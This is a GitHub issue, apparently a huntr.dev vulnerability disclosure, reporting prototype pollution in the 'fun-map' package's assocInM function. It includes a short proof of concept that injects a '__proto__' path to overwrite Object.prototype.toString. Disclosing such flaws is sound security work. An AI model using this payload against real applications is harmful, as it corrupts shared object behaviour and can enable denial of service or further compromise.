Skip to content

huntr.dev - Prototype Pollution #1

Description

@huntr-helper

Vulnerability Description

Affected versions of this package are vulnerable to Prototype Pollution. The function assocInM could be tricked into adding or modifying properties of Object.prototype using a __proto__ payload.

Steps To Reproduce:

var a = require("fun-map"); 
a.assocInM({},["__proto__","toString"],"JHU"); 
console.log({}.toString);

Bug Bounty

We have opened up a bounty for this issue on our bug bounty platform. Want to solve this vulnerability and get rewarded 💰? Go to https://huntr.dev/

Activity

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment

Metadata

Metadata

Assignees

No one assigned

    Labels

    No labels
    No labels

    Type

    No type

    Projects

    No projects

      Milestone

      No milestone

      Relationships

      None yet

      Development

      No branches or pull requests

      Issue actions